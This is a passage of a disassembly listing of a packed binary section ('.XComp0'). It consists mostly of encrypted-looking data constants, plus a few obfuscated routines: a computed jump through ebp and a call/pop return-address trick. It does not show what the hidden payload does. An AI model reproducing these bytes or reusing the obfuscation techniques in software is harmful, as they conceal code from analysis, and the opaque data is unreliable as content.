		dd 39827843h, 0CA827BD0h, 16Eh,	4F12368h, 30CC2589h, 0AC9F261Ch
		dd 6ED72AF5h, 7C2092A5h, 2609EB30h, 0CEF7E8F1h,	9B30A539h
		dd 71096568h, 0DFCE7C08h, 0EE29E89Ah, 9688759Fh, 15C1A251h
		dd 0F12EE5E8h, 9A431BF8h, 9ADFCE0Eh, 8D00BBB6h,	0F6688F44h
		dd 0CE6BF55Eh, 20D39ADFh, 729FF2DBh, 59157883h,	8B9ADFD2h
		dd 0D328CF06h, 0AC8E698Eh, 8AEBD57h, 0DC27FCEDh, 20D51C1Fh
		dd 0D49465D5h, 472B3E1Fh, 56E5D823h, 22D419D7h,	0E3DE6AD3h
		dd 8B869ADFh, 0E58EE658h, 9ADFE35Bh, 73CB1003h,	0A352860Bh
		dd 0CBAE692Ah, 9CA0DA1Ah, 0F98E8988h, 49D37C44h, 0F59F26CBh
		dd 29B31CFEh, 959F26CBh, 0B43921DEh, 1FF4F5FCh,	0CFD982DCh
		dd 0F9995AB8h, 38B14074h, 453CA05Bh, 986790D5h,	0A1793E15h
		dd 0B9702839h, 11610DB2h, 6D60973Ch, 0FA1C61B6h, 0C86F4DDh
		dd 0D3FB4FB1h, 191EE11Eh, 69882CC1h, 0D13B2F98h, 835839C6h
		dd 20D91CBEh, 0ADB202DAh, 576A3AB3h, 20000013h,	0ACF106F5h
		dd 236AED04h, 0AEF308EDh, 206DEA0Dh, 7BF407F6h,	6C892BC0h
		dd 8776A2EFh, 6F862D74h, 8570A5ECh, 3E97F772h, 9F20D4A2h
		dd 136F6D1Ah, 276126Bh,	8EEE9ADFh, 0DF025BE5h, 0D310039Ah
		dd 5E9F3908h, 985F94D9h, 0C4B1D5A6h, 0D0B93CDDh, 9C93B213h
		dd 0D80BEA09h, 61A60803h, 8A4944B1h, 61E0634Dh,	0D57ED648h
		dd 9ADF024Bh, 63BB00F3h, 0A01099FAh, 218C879Ch,	9C359Dh
		dd 519F2610h, 805356A7h, 0D51CD31Ch, 0EC6CCD0Ah, 0C9F2610h
		dd 8BC4BA7Dh, 6B827BD0h, 0B502F526h, 11A06h, 0F1269A00h
		dd 27BC1406h, 0A67D708Dh, 0DF0229B3h, 19DE959Ah, 1FB94EB0h
		dd 49D37CDEh, 0F59ADF02h, 4274B9FEh, 0CA33CBB3h, 9ADF023Eh
		dd 725B9A3Bh, 642E47B1h, 335C9E19h, 0E1CC0FD4h,	0C05CF55Dh
		dd 0FE9ADF93h, 0DF93CB55h, 1C80739Ah, 0FFB79265h, 0F89ADF8Fh
		dd 0E7E9FEDBh, 7B97B537h, 9705D648h, 0B24A9B8Dh, 9501A104h
		dd 2A232411h, 0EE236AEDh, 38F58607h, 23943D1Dh,	619CA0B9h
		dd 0EEFA2484h, 0C6F90B25h, 6E87A631h, 368630Ch,	0C798995Ah
		dd 5ADBD557h, 0A507D4A7h, 0D8F78CEEh, 0EBD5B019h, 802517D2h
		dd 4B23F82Bh, 79E114C6h, 0E437BEF4h, 55820767h,	9518E710h
		dd 0CB8801BEh, 66974110h, 0B2865D93h, 0E58F3AADh, 11EAh
		dd 66F100B3h, 0FDFAF717h, 68F302B0h, 0FAFD0019h, 67F401B3h
		dd 7E982BE8h, 81357C7Fh, 7B9AE774h, 85327F7Ch, 0A64E572h
		dd 20D5D771h, 1A9A8F9Fh, 1901F426h, 28C18C1h, 39389ADFh
		dd 0CC21797Eh, 6DDD027h, 1E476CB1h, 0D78CFDF8h,	13250F0Ch
		dd 7D893FF2h, 86499C59h, 0E53A836h, 741069E9h, 859ADFD2h
		dd 6B28A154h, 5C4D9291h, 6FA3C0F5h, 2DBA3D82h, 42AF6310h
		dd 0B77F75Fh, 20E3F24Dh, 12C5963Eh, 0ED6B1E1Bh,	2C3518E3h
		dd 929CA063h, 5B7FC7C1h, 16C95E57h, 3B21A93h, 2AC79F26h
		dd 456FE2CBh, 2CC735B8h, 2B967EAFh, 6095DAB0h, 0DA25CC03h
		dd 10F0107h, 835884E6h,	7BB6528Bh, 0D0E382h, 0E630000h
		dd 9A5D7EE7h, 3EAF742Fh, 132E9265h, 0DE6A136Bh,	869ADF02h
		dd 216B28Bh, 0D3CE9ADFh, 1B3EF308h, 0A0569B43h,	3C7F5455h
		dd 0A03914E1h, 0C932CA9Ch, 9F26293Fh, 4737ECA7h, 3FBE5AAFh
		dd 262942DEh, 927A039Fh, 0BF975F86h, 0E8D126DDh, 23D20186h
		dd 0F8D775D8h, 73D39F26h, 92FBFA1Eh, 0AE2906D1h, 157207D8h
		dd 293115AEh, 941CA851h, 0C9C89F26h, 48C30C0Eh,	5354827Bh
		dd 68000000h, 0D64861E0h, 24BD57Eh, 0F39ADFh, 76FB63BBh
		dd 0CD34B540h, 0C611CE27h, 0A033A663h, 6B89DE9Ch, 0AF1AD9F8h
		dd 0E5BE2FF4h, 0D2BBB612h, 0FD176Ch, 33FA62BBh,	8BF69F26h
		dd 4175FAD0h, 0AEE767B4h, 8E827BB1h, 3863C86Dh,	0E43746F7h
		dd 73Bh, 74C9B100h, 2B00000Bh, 2B661E0h, 4119FAF3h, 0DF020C98h
		dd 6B9B89Ah, 4526CF14h,	2F9A6590h, 2EC7A774h, 9CDF5100h
		dd 1459C1C0h, 0B99A13E2h, 2AC71CFEh, 0A25DA039h, 7094A7B8h
		dd 0EA1A369Ch, 378471A3h, 0E1155AB4h, 5D7AC714h, 0BF18C09Ah
		dd 9F20B925h, 76777E36h, 73483B9Dh, 0A3D3A40Ah,	80A8F17h
		dd 0FD34C714h, 95DA82DCh, 27CE045Fh, 0E532EDA6h, 20F09B84h
		dd 52860B99h, 5F7458A3h, 47B06DEBh, 9ADFCCBDh, 0B2976A29h
		dd 0C7B76CB6h, 6A639242h, 770C6EA9h, 2EC39B5Ah,	0AFAC6F86h
		dd 349DB562h, 9ADF1FA8h, 27A25D14h, 0A27C9D94h,	5D50A54Dh
		dd 0EE0BA786h, 7BD328FBh, 0E46C8EE3h, 0DF1FF18Bh, 69B66D9Ah
		dd 0F558A380h, 9CA0260Ch, 34C1EF74h, 0CB0E05E7h, 0A7BB6B1Bh
		dd 7323D1FCh, 3C00000Fh, 90DD5A99h, 37869160h, 92DF5C99h
		dd 3C819669h, 5FE05B9Ah, 18E50FA4h, 0DB1ABE03h,	13E21160h
		dd 0D91CB908h, 0DA83DB5Eh, 9F20DB4Eh, 139301F6h, 7B719F2h
		dd 4D75079h, 0DFA9A329h, 0D59B929Ah, 0DFA9E07Ch, 81875C9Ah
		dd 10948140h, 8B2805BAh, 5DA2816Ch, 0B04F68FDh,	719B25CEh
		dd 50439ADFh, 3C4AB38Bh, 269CDF23h, 0C7C233E1h,	619E617Ah
		dd 0BC3F3296h, 6DEE8162h, 0E8622BBh, 433E9F20h,	0BDAB9162h
		dd 62B54470h, 0F11F58D5h, 39FB4191h, 0D880DA25h, 13FE0F07h
		dd 0BFFCA432h, 2012485Eh, 0C1F57A99h, 1DDAB934h, 1156C8BBh
		dd 0A19415E8h, 0C281E8B1h, 64B76CC3h, 0FB1D720Ah, 4370BDFAh
		dd 0BD5AA7B4h, 85BC4F3Ah, 0D62FA64h, 904409ECh,	70AB6861h
		dd 0DF36180Dh, 330B069Ch, 0B69632CBh, 534E9F20h, 0A64EA688h
		dd 20B6B34Dh, 0A3782B9Fh, 39BE39DEh, 4638BFF4h,	0B6BB45AEh
		dd 70239F20h, 23BB42ABh, 211F20B6h, 7253A040h, 0BB009B30h
		dd 0AA531130h, 1F20F41Eh, 2618CBC6h, 0ECA3ADCEh, 3D12135Fh
		dd 834A9F7Ah, 697A195Fh, 2B1FA6E3h, 0E6C215A8h,	457A7B99h
		dd 0AE994874h, 0F8BC2D2Dh, 0E2Eh, 1A1DDCF7h, 41D61BD3h
		dd 1C1FD6FCh, 46D124D5h, 1B20DDF7h, 0A254E7A4h,	5D79C853h
		dd 9F569BA0h, 597EC358h, 0BE20999Eh, 20D98B15h,	5646339Fh
		dd 8846F213h, 0A76C97ECh, 4F6AC754h, 4CA20EEFh,	92F3BE90h
		dd 20DB1ABBh, 0DE89953Eh, 3A399CDFh, 0FD668BE0h, 57E41FD6h
		dd 0F0ECED0Ah, 0F007AE23h, 0E5BB26FDh, 0C92CC933h, 3C003E0h
		dd 0DA4C4A1Bh, 0AEB26C6h, 483DC730h, 0EAA99F20h, 0AD42BC2Dh
		dd 3AB75B08h, 88A53285h, 5A780D6Dh, 1C71329Bh, 0D192FBFAh
		dd 0BFCB2406h, 2399201Ah, 60790E70h, 58005A9Dh,	0C813E213h
		dd 0EA075C79h, 6CC1A20Bh, 6241AC4Bh, 8C28BD9Dh,	54A77C6Dh
		dd 356677D7h, 1C9CFB12h, 0A924D300h, 9BE235EAh,	9DC6ED76h
		dd 7F447F76h, 13C07D0Eh, 6DCD12DFh, 0DF272B04h,	80DA999Ch
		dd 0BC2DC4EBh, 0D4A85CC9h, 518EC0C2h, 0B25FA486h, 29F607B1h
		dd 0C332DF2Eh, 0CE5A035Bh, 0B9F201Dh, 0C49F0AE7h, 9C5419D8h
		dd 3C7F5455h, 1D6CEC51h, 0E25F9F20h, 57FF57C7h,	201D62FEh
		dd 3627DA9Fh, 9F201DAAh, 0CA2BCD12h, 0FCBF04DFh
		dd 4F69B922h, 88D99920h, 0E6588B6Ah, 0CF5BE58Eh, 10039ADFh
		dd 730B73CBh, 0DFCF7E0Ah, 0F02BE69Ah, 998174A1h, 6C862DC8h
		dd 0DFEF7903h, 0D32EE59Ah, 91E02A5Eh, 0C1469164h, 62FB577Ch
		dd 9ADF8BC6h, 4D40837Eh, 0BBEB10F1h, 8E639015h,	667FBE49h
		dd 0E9075CF4h, 586ECF0Ch, 89CDF54h, 63A05D77h, 0B14476FBh
		dd 0EAFB7366h, 8430D66Eh, 943B8C75h, 0FE33C813h, 0ED039D36h
		dd 0C8BB9F20h, 8D8375DDh, 2AF5915Bh, 0DC19BB50h, 85E532F1h
		dd 797898EDh, 0D76EDB3Eh, 5D14995Fh, 0ADDB869Ch, 0C66E5FADh
		dd 0C5Ah, 0F601F023h, 6DEA07A7h, 0F803F220h, 6AED10A9h
		dd 0F704F123h, 8E28BB78h, 71A5EC6Fh, 8B2A7784h,	75A2EF6Ch
		dd 9AF47582h, 20DFA741h, 6A6A1F9Fh, 0BF0DF213h,	27A24F7Fh
		dd 6765996Ch, 0A45120DBh, 0E891E951h, 9ADF005Ch, 1C80759Dh
		dd 0C7279265h, 3AC62Fh,	0EFA29ADFh, 0A0B0652Ch,	0DF00AD37h
		dd 0A55A199Ah, 0BD38DD24h, 0A45185CCh, 8F4CA729h, 0B883DE5Eh
		dd 15B401E2h, 0FDBC417Ch, 0B73E73BAh, 87F12AA4h, 13828874h
		dd 76000000h, 995C7E13h, 62FB25Eh, 45CA0000h, 0AA696491h
		dd 37A0836Dh, 718AA9BAh, 0A5068986h, 4D68C552h,	0DB590CEDh
		dd 995897D7h, 5253FC5Eh, 109CA0D9h, 0C348AA11h,	0A963F11h
		dd 0B29F26E9h, 56B704BFh, 4A2AB89Ch, 0DC63B5C6h, 2C1022CFh
		dd 0C4E55CEFh, 456D025Ah, 0A5126BB0h, 1B4A52B3h, 0A38E1AC3h
		dd 3B3649D4h, 94C59688h, 4EA99CCCh, 0E0513CA5h,	8C28C2AFh
		dd 90AD5E4Fh, 53800575h, 236A29A4h, 58B205ECh, 0D7D269FFh
		dd 6E076F4Fh, 4C284AD2h, 6844978Ah, 953CD1A9h, 2CC1995Eh
		dd 9F38DE87h, 1BE98619h, 0FFEA3545h, 155CDF24h,	0A54C83E0h
		dd 69B46F24h, 0D6BCF5CFh, 0F7341ACh, 0D800000Bh, 0F439BE3Dh
		dd 0DB2235BCh, 0F63BC035h, 0D82532C5h, 0C33CBF3Eh, 0B4417308h
		dd 3FBE5AA7h, 0B73E75BCh, 3DB85DA4h, 76DF3FBAh,	9F20DCEAh
		dd 2637A552h, 3E8306F1h, 11543B9Ch, 820390ACh, 0BD2812F8h
		dd 0AF747EBAh, 599C3ACFh, 0E368B370h, 5EC0D958h, 0C1E2E5F6h
		dd 536BFB2Eh, 5E4FA588h, 60819CDFh, 1AC5923Bh, 0D5B7044Bh
		dd 0C3943C1Eh, 4B678057h, 0D59353AEh, 4061F07Fh, 5BA9186h
		dd 0AF466BB2h, 45B065ACh, 7192EA44h, 53B2D27Eh,	0E682DB0Ah
		dd 5E9F20B2h, 6EC358A3h, 708AF34Bh, 0F09920E0h,	13C44931h
		dd 0ED2AE9E4h, 1CDBF88Dh, 0A7419A42h, 1F9ADF60h, 3A949764h
		dd 9BF203B5h, 570C7D74h, 0BF18BD84h, 0D1205710h, 47427D75h
		dd 58016E7h, 4B36E3A2h,	0D6FE8AF3h, 0AB669ADFh,	61F72170h
		dd 0DFD66CF8h, 0DB74D89Ah, 9ADFD641h, 6B906FDh,	0B3CB2BB3h
		dd 13E10CADh, 0A12h, 3EB938DBh,	2532BFEFh, 40BB3AD8h, 2235C8F1h
		dd 3FBC39DBh, 467003C0h, 0B95DA4B7h, 4372BF3Ch,	0BD5AA7B4h
		dd 0E23CBD3Ah, 20DDEF79h, 32A2579Fh, 220F213h, 0A6DE9A12h
		dd 4E67C651h, 677783ECh, 8C6D9CDFh, 0C05DDFA3h,	0BE35DC52h
		dd 10CB18CBh, 85F5ACh, 851E06D3h, 4876E8E4h, 8431807Bh
		dd 0CAC332DFh, 1F64D609h, 0C5B803F2h, 7CDEF736h, 5F29A6D3h
		dd 54A55C99h, 0ADAE6CD0h, 8F7034B5h, 58000009h,	74B93EBDh
		dd 5BA2B53Ch, 76BB40B5h, 58A5B245h, 43BC3FBEh, 34C1F388h
		dd 0BF3EDA27h, 37BEF53Ch, 0BD38DD24h, 0F65FBF3Ah, 9F20DD6Ah
		dd 26B725D2h, 2B8306F1h, 36D22BD3h, 0AE9ADF02h,	2FE8AF3h
		dd 0AB669ADFh, 0E3F42170h, 0D4E0C950h, 46477C9Ah, 0EF256ACAh
		dd 0D95EB106h, 116E116h, 73E25089h, 0FA4F3088h,	0C1F026DEh
		dd 17648B50h, 58000000h, 9D587E13h, 80A4772Ch, 37Dh, 8782DBFCh
		dd 8A4E969Eh, 7E13634Dh, 772C9D58h, 0BD38DDA4h,	0E7023FCCh
		dd 51CCDE77h, 7D749CDFh, 777E337Ah, 0CE90B76h, 9731CA32h
		dd 4F9F20D1h, 0F7848754h, 47E17A3Ah, 949F20D1h,	4013965Dh
		dd 5AA55Ch, 86DD1358h, 6F5AA550h, 0BA3BDDB4h, 832F1CFDh
		dd 9E559920h, 21BB14BCh, 9D9ADF03h, 0A13911E6h,	304A039h
		dd 0C1C09ADFh, 6B8A27F6h, 76126B13h, 839ADF03h,	3E35A74Eh
		dd 3B1C7E79h, 0F151C6B1h, 0B57C3F68h, 8DF4F500h, 0D714E56Bh
		dd 359A39F9h, 0DF1FA994h, 0CCC79ADFh, 41562717h, 91BCDF88h
		dd 8734A572h, 0F791EAAAh, 6F9ADFE9h, 660F6FB4h,	9CA0C4D1h
		dd 0D149948Fh, 0AAA7BAA1h, 84C753Fh, 0E2150000h, 19B90813h
		dd 0E4125FDCh, 1EB70611h, 0E3155CDFh, 0C9860512h, 0DA5DA03Ah
		dd 85925F93h, 0DD5A9938h, 87946390h, 0B54FA806h, 319F20E3h
		dd 0F2137C78h, 0B05D1CB3h, 14599E95h, 0CE2618DFh, 725B9A39h
		dd 383CC8B1h, 983D9ADFh, 33887B5Dh, 3D13E44Ah, 0A8C4E5F4h
		dd 33E0AD6Ah, 522AB61Fh, 0DF929ADFh, 0C727A924h, 1ED49942h
		dd 0C2FDD6D7h, 0C79D1AF5h, 0FDFD13B6h, 3C74DA18h, 0E0AD6AB5h
		dd 155AC433h, 47C417DEh, 74A78EC7h, 251F88h, 0B71F0000h
		dd 0DF3D821Eh, 0F9293A9Ah, 8713394Eh, 567BD20Dh, 13785C9Fh
		dd 276126Bh, 33EE9ADFh,	1863CE8h, 26B60000h, 0B63D74F1h
		dd 5AA36033h, 0ADB48FE6h, 835A0AC3h, 4C000007h,	80CD4AA9h
		dd 4796A150h, 82CF4CA9h, 4C91A659h, 4FD04BAAh, 28D5FF94h
		dd 0CB2ACE13h, 23D20150h, 0C92CC918h, 0A73CB4Eh, 9F20E37Eh
		dd 26C331E6h, 3E8306F1h, 67FC5E99h, 38E2AF4Eh, 0CC0FC4C5h
		dd 57E43FE1h, 8AF35F94h, 9ADF02FEh, 2F58FE8h, 0B2719ADFh
		dd 83984B46h, 74DED20Bh, 0B65DB288h, 42954E3Fh,	1499h
		dd 7E130F00h, 7330995Ch, 0FA7CA8h, 0C9760000h, 0F4h, 22F2132Bh
		dd 2B9C1068h, 6DC457A4h, 44B362A7h, 0DF8C4FD9h,	0C7FCF79Ah
		dd 516AFF57h, 0F6683BAEh, 0DF8CC35Dh, 33887B9Ah, 0DFDFC0DAh
		dd 73DC809Ch, 9F205FE9h, 5FE27ED7h, 0A75A9F20h,	99813E35h
		dd 56579E54h, 0EF4F3A7Dh, 21D40287h, 205FAC38h,	9E59189Fh
		dd 0A991B489h, 5F629750h, 0C3160D99h, 0ADAE1663h, 9BDB8944h
		dd 64000006h, 68B542B1h, 5FAEA948h, 6AB744B1h, 64A9AE51h
		dd 37B843B2h, 30CDE77Ch, 0C332E62Bh, 2BCAE938h,	0C134E130h
		dd 25BB336h, 9F20E066h,	0E0AB29DEh, 0AE3AA361h,	169ADF02h
		dd 16C92CC9h, 840971C9h, 0F752A54Ch, 9CA1D549h,	0AC38A13Dh
		dd 189F264Ch, 2FB4A659h, 86E77481h, 9F264CF9h, 8502D7FCh
		dd 0FBFA176Dh, 0E6274AAAh, 1E8F6E87h, 4BA07A45h, 865D50A5h
		dd 2BF00DA7h, 9F39CE30h, 1ED4995Eh, 130ED6D7h, 0A4000006h
		dd 0D64861E0h, 0DF516D7Dh, 56FF579Ch, 9F20D1CAh, 603C7F72h
		dd 0CB18E50Fh, 5F1429E2h, 9F7F44B1h, 0AA369F37h, 129F20D1h
		dd 0D162FE5Fh, 27DA9F20h, 64E17AD4h, 1A995FECh,	77D61FD5h
		dd 742F9A57h, 990E6EAFh, 0FAF3ADADh, 5C52Ah, 8C6B8E00h
		dd 6392428Fh, 8A6B89D8h, 6897408Dh, 896C8ED3h, 0C1520D8Eh
		dd 0C51E617h, 0BF0E09E8h, 756E110h, 8D100BEAh, 0E13CC831h
		dd 0EFA89F20h, 0A361E005h, 0DF02AE3Ah, 0A85B169Ah, 2BC91EB6h
		dd 0A45183CAh, 0CCAD6A29h, 9CDF51A2h, 76FB631Eh, 6033B641h
		dd 892EC39Bh, 0CCBD34DCh, 1D72CC17h, 0D58EFFF6h, 1BB80502h
		dd 0E35AF1DCh, 6FF58C2h, 7E992083h, 3E37DD6h, 0A85B9ADFh
		dd 0CFE87953h, 19E6BD30h, 0F007AC41h, 567E136Bh, 0D322D29Fh
		dd 599C3908h, 4366DB70h, 3A8182DBh, 6C019CA0h, 663DB047h
		dd 3E973791h, 9F262AA2h, 619C671Ah, 0A7BB6811h,	0B35FFEAh
		dd 0D4000005h, 0F845D221h, 0CF1E19D8h, 0FA47D421h
		dd 0D4191EE1h, 0C748D322h, 0A05D770Ch, 53A2569Bh, 9B5A79C8h
		dd 51A451A0h, 92EB43C6h, 9F20E6F6h, 133BB96Eh, 276126Bh
		dd 4C839ADFh, 7B4033A5h, 84F601B6h, 6096D5FFh, 1C8D4A95h
		dd 6075C1A2h, 15901BBDh, 0FA567BC2h, 0DF29C761h, 0A3667F9Ah
		dd 0C2606DB3h, 0B04931EEh, 9ADF2B14h, 90ED1D0h,	0DF14BF7Eh
		dd 0A73CB18h, 9CA01AB5h, 3BBA58ADh, 0F983EC52h,	659F261Ah
		dd 42A671AEh, 79DF5E4Fh, 799F261Ah, 1E574D0Ah, 0FE827BC7h
		dd 7D13A5DDh, 4D8AA894h, 419Eh,	61E01200h, 2AE3AA3h, 7AB9ADFh
		dd 0B824FFEAh, 0CF1406B9h, 6392401Fh, 0A176A96Ah, 106330C9h
		dd 50A19CA0h, 7F5455A4h, 64E44944h, 849F2610h, 75C3205h
		dd 52CC0FEEh, 827BD109h, 1639Ah, 0F1260E00h, 6BB83F74h
		dd 5ADBFC82h, 41E0B6DFh, 24D69B60h, 0EF2469D1h,	9CE8508h
		dd 0DF8431A0h, 9CAC332h, 339364D6h, 0A4FBDF9Ch,	9AE7D225h
		dd 0E07CD57Dh, 5C9ADFFCh, 58005AA5h, 2415DC13h,	9ADFFC98h
		dd 0D2004D44h, 2EE9AA23h, 0EAB0D129h, 876EA4A3h, 0DA30B41Eh
		dd 0B205BA3Dh, 0DF941F57h, 1EBB589Ah, 0FA04822Eh, 5ED9260Fh
		dd 5181E20Fh, 106A29A4h, 0DF6FDD67h, 558A899Ah,	8372A0E5h
		dd 77B64538h, 0DECF26CCh, 36B73E73h, 0FD5DA25Dh, 3EAF4E68h
		dd 1FB89265h, 9CA0425Ah, 9F5E7708h, 0ADAA752Eh,	4819B84Dh
		dd 865D50AFh, 38BFF439h, 0A2D958E3h, 0D5E5C91Bh, 0D6487BA5h
		dd 5A0DCA7Dh, 3F293A99h, 9F34C31Ah, 0D97401Ah, 0B99ADD04h
		dd 0E89BFDBAh, 0A4C7F176h, 0E139866Dh, 37BEF479h, 0E07CDDB6h
		dd 5C9ADD04h, 0B5AC3CA5h, 8E34B286h, 8B6CCE49h,	0C27412BCh
		dd 4498E84h, 8EDA23D2h,	6BADB26Ah, 31CB282h, 32E50000h
		dd 0C9E938C3h, 34E22F2Ch, 0CEE736C1h, 33E52C2Fh, 0F9B635C2h
		dd 0AAAD506Ah, 0B542AF63h, 0ADAA4968h, 0B744B360h, 0E57FD836h
		dd 619F20E4h, 0F4262CA8h, 4F94F601h, 7C57529Fh,	2AF39A2h
		dd 5C179ADFh, 2D25D29Fh, 0DF0238C4h, 32EDA49Ah,	0BD47B048h
		dd 299ADF02h, 0C6AAAD6Ah, 7D5A7E13h, 0FC7F61A3h, 0FCED3236h
		dd 0EA47D427h, 0FE1A6FCFh, 2AB61FFFh, 929ADF8Dh, 9A421CDFh
		dd 8D0F9942h, 0BCB79ADFh, 9F751EFFh, 66AB9CA0h,	0F5FCB3B0h
		dd 1FE41FF4h, 9F894FAEh, 1AA99F26h, 456EA79Dh, 0B94E827Bh
		dd 34EFDA1Bh, 13038E7h,	26AC0000h, 3E8306F1h, 5901599Ch
		dd 9316DD14h, 2C35DC0h,	6A7B9ADFh, 945D4CBh, 1FDC27C8h
		dd 78674FAEh, 0F55D9ADFh, 0DF60C05Ch, 77E07C9Ah, 9ADF60EDh
		dd 92659A59h, 0E3B126CBh, 96E24F57h, 0F3B214Eh,	417EA3B0h
		dd 0AE479C7Eh, 2F8F8C4Fh, 0D2BB3ADAh, 5A77C611h, 0A499329Bh
		dd 5C31C0EFh, 9A843FB6h, 928C8EC9h, 0BB00B930h,	4576FB63h
		dd 0A70465B2h, 1D9CA07Bh, 0E746D166h, 715C9B3Ch, 952FC8B2h
		dd 519F2643h, 44AD8D52h, 995A3330h, 0ED85F5ACh,	0DDB3F884h
		dd 0F61B649Ah, 0AD58EFFh, 0F4056DCDh, 4171F43Bh, 875A39B4h
		dd 8D30E6Dh, 0D8409F39h, 0F8FFB6F8h, 0EEC31EF5h, 88935096h
		dd 8BEA5526h, 873FC716h, 98CBED34h, 74457A79h, 0ADB1B2BAh
		dd 9782329Bh, 60000001h, 6CB146B5h, 63AAAD44h, 6EB348ADh
		dd 60ADAA4Dh, 3BB447B6h, 2CC9EB80h, 0C736E22Fh,	2FC6ED34h
		dd 0C530E52Ch, 0FE57B732h, 9F20E562h, 13AF2DDAh, 5BA0577Eh
		dd 2911E416h, 0B61F33E4h, 9ADF022Ah, 0A924DF92h, 0D02A2DEAh
		dd 235CF28h, 0F2B19ADFh, 3CBB5825h, 0F126D5BFh,	3D431406h
		dd 6C03C5EEh, 48B7602Dh, 60498E45h, 8D7089DEh, 0AD74471Ch
		dd 106AED08h, 0C569D4EFh, 0DF13902Ch, 6C554C9Ah, 498E34B2h
		dd 0C3487FBEh, 0EF243D43h, 6475E51Ah, 0A42282E0h, 0EF4F8C13h
		dd 25D80287h, 2BF277D2h, 8AF29CDFh, 20AB57F1h, 4CF60F9Fh
		dd 2A4AB62Fh, 4274B906h, 9E593AB3h, 0E846473Ah,	0C75DE790h
		dd 0EC099F20h, 554593CBh, 0DDC8FB7Ch, 336EF692h, 81D00B83h
		dd 16E30F54h, 0A15E9B37h, 5AF3496h, 0E21EAA53h,	0CBC69F20h
		dd 0F9BE9518h, 6787F34h, 24A55881h, 0BC41AC6Fh,	334F6337h
		dd 6D479842h, 6D29B5C3h, 0A0F1DC27h, 0B5078271h, 0A048793Eh
		dd 58419BBCh, 0B5498BE1h, 874A0D62h, 0E58EE66Ah, 0F4C8E85Bh
		dd 932D1003h, 4BF4C8E8h, 41908B58h, 0D421CF94h,	0CB209E0Fh
		dd 5FDFCA27h, 0C8E86AF6h, 0E41FD2F4h, 4EB14A17h, 7C7997ECh
		dd 7EFE4E3Fh, 0E8E37DD6h, 0A85BF4C8h, 653B0053h, 8A03F220h
		dd 923F0EC9h, 6C89D863h, 369E2089h, 0C8E8039Dh,	0F3C8BBF4h
		dd 1DD1h, 0D88C6D00h, 1D964A2Dh, 13836DAAh, 276126Bh, 15EE9ADFh
		dd 0A7F41B0Ch, 9F5CA7CBh, 0F3265084h, 9B388904h, 0F120715Ch
		dd 9E3A8702h, 0F1236E5Fh, 9E388904h, 0F2236E5Fh, 99378A03h
		dd 0F020715Ch, 68F68801h, 73CEh, 57242489h, 4BFh, 247C0100h
		dd 1C685F04h, 8900006Dh, 89532434h, 4C381E3h, 83000000h
		dd 1C8704EBh, 0C895C24h, 0D4466824h, 348B05FFh,	4C48124h
		dd 54000000h, 83240C8Bh, 0BA5204C4h, 8,	3289CA01h, 8324148Bh
		dd 34FF04C4h, 0C4835924h, 24348B04h, 81E18951h,	4C1h, 4C18100h
		dd 87000000h, 0E95C240Ch, 0FFFA9A35h, 699BB7Dh
; ---------------------------------------------------------------------------


loc_5D9FE8:				; CODE XREF: .XComp0:005D8998j
		mov	eax, 5FFE982h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 4Ch,	87h, 0Ch
		dd 0D9AA3766h, 93C5BB38h, 6A12B6Bh, 0ED9D470Ah,	0B9A40A77h
		dd 81ACBB72h, 68F67C57h, 994A676Dh, 9D58566Ah, 478DF620h
		dd 310A5136h, 0C1DB570Dh, 16845A16h, 0A4CBCC1Ah, 9B28352Ah
		dd 3EE25A1Fh, 0E525220Dh, 39E8B733h, 0D6F00E3Dh, 1749EA46h
		dd 8311A61Bh, 7497FC27h, 4DBE1303h, 0AC7BE965h,	0AB194D32h
		dd 6E6F6F25h, 831A3C51h, 199DF002h, 10E871h, 0A72B0000h
		dd 39391B67h, 0F3F9ABBFh, 528C9AAFh, 59F9A7F7h,	81F88B66h
		dd 6753C1h, 81D22B00h, 7E2461D6h, 0A34FF57h, 14E9h, 95E9AB00h
		dd 8C25A4AAh, 0E4D183C7h, 305AB3DDh, 9E1166EEh,	81F55814h
		dd 7D39B3F0h, 0CE816649h, 0F081638Ch, 26740A78h, 0A3CE8166h
		dd 6DC081C2h, 0F4AE0CCh, 18Bh, 0E850F800h, 0Eh,	9534B5E4h
		dd 0C7198CD7h, 0FBDB3B86h, 8F5E01D4h, 8BF51104h, 2EA83F9h
		dd 4AF7BF0Fh, 64FA814Ah, 0FFFFF99h, 0E85h, 0F08B5300h
		dd 1FE95Bh, 893D0000h, 0F3C29BAh, 383h,	0F88B6600h, 0FFFF74E9h
		dd 0ECF231FFh, 48A03881h, 3EF68D9Eh, 11E808h, 0D3230000h
		dd 8B1A358Ch, 0A516DD59h, 78C25358h, 0F6EDFC2h,	180h, 0F59FC00h
		dd 680h, 0D0C38100h, 81453B4Ch,	6A27C1h, 68F9B300h, 1A5Bh
		dd 0BB118B5Eh, 0E41F814h, 0C6F5C281h, 8166003Dh, 8188B9EFh
		dd 0C63EF2h, 0E8B86001h, 6140C351h, 0BE8DF281h,	830F31A7h
		dd 1Ah,	14E8h, 79111B00h, 0E726838h, 808D583Fh,	0C79B7F98h
		dd 0A6D43AE8h, 11895BB6h, 306EF381h, 0E9833F50h, 67C08102h
		dd 4973312Dh, 83FB8B49h, 850F01EEh, 13h, 24E9h,	0FAB7FE00h
		dd 685A7BAFh, 1B4A1F84h, 60B79EF2h, 2AF65DB9h, 7EE9611Ch
		dd 2AFFFFFFh, 35B1B175h, 66A0362Dh, 0B68D8D23h,	6A05FFECh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0E58AC353h, 6840FACh, 29000000h, 0F9291DBDh
		dd 0DD8D8905h, 8905F90Ch, 0F911B9B5h, 0C185C705h, 0C405F926h
		dd 6A000065h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0E8FCC356h, 37DA6B19h,	85C7EF69h
		dd 5F900FDh, 0
; ---------------------------------------------------------------------------
		xor	ax, 7696h
		push	dword ptr [ebp+5F9275Dh]
		push	0
		push	ebp
		call	sub_5DA272
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA272	proc near		; CODE XREF: .XComp0:005DA26Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5DA272	endp

; ---------------------------------------------------------------------------
		dw 0FFC5h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		aad	20h
		stc
		add	eax, 7E8h
		add	[ebx-71h], bh
		db	2Eh
